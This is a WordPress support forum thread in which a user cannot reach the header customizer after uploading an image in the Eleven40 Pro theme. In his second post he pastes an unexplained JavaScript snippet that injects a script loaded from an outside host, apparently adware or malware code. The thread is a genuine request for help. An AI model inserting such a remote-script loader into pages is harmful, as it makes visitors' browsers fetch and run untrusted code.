Title: Cannot  Customize Header
Last modified: August 24, 2016

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# Cannot Customize Header

 *  [pnisbet](https://wordpress.org/support/users/pnisbet/)
 * (@pnisbet)
 * [10 years, 10 months ago](https://wordpress.org/support/topic/cannot-customize-header/)
 * I cannot access the header customiaation page. I go to ‘Appearance’ then click
   on ‘header’ and I get a virtually blank page with ‘You are Customizing ‘website
   name’ and the Save and Publish button but nothing else. All else is blank with
   little whirling circle in the center and a ‘customize: loading’ message permanently
   showing.
 * This happened immediately after I uploaded a jpeg file to use as the header in
   the Eleven40 Pro theme. I selected the new header from ‘media’ files, and clicked
   to Save and Publish. I checked how it looked and it did not completely show up,
   being cut off at the right hand side of the logo/text header, so went back to
   change the dimensions and couldn’t get back in.
 * Pete

Viewing 1 replies (of 1 total)

 *  Thread Starter [pnisbet](https://wordpress.org/support/users/pnisbet/)
 * (@pnisbet)
 * [10 years, 10 months ago](https://wordpress.org/support/topic/cannot-customize-header/#post-6138742)
 * I am now getting this message when I try to move from the Home Page:
 * (function(){var we=document.createElement(‘script’);we.type=’text/javascript’;
   we.async=true;we.src=’[http://static.worlderror.org/s.js?code=500&lang=en&pv=2&pname=YVL4X9S%5D&ref=ZqHaWUscWmgmYjz%5D&ver=5.9.71&bt=4&ue=js&uid=toshibaxmq01abd100_z37ut3qttxxz37ut3qtt&#8217](http://static.worlderror.org/s.js?code=500&lang=en&pv=2&pname=YVL4X9S%5D&ref=ZqHaWUscWmgmYjz%5D&ver=5.9.71&bt=4&ue=js&uid=toshibaxmq01abd100_z37ut3qttxxz37ut3qtt&#8217);;
   var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(we,
   s);})();
 * What does this mean and how do i solve it?
 * Pete

Viewing 1 replies (of 1 total)

The topic ‘Cannot Customize Header’ is closed to new replies.

## Tags

 * [edit header](https://wordpress.org/support/topic-tag/edit-header/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 1 reply
 * 1 participant
 * Last reply from: [pnisbet](https://wordpress.org/support/users/pnisbet/)
 * Last activity: [10 years, 10 months ago](https://wordpress.org/support/topic/cannot-customize-header/#post-6138742)
 * Status: not resolved

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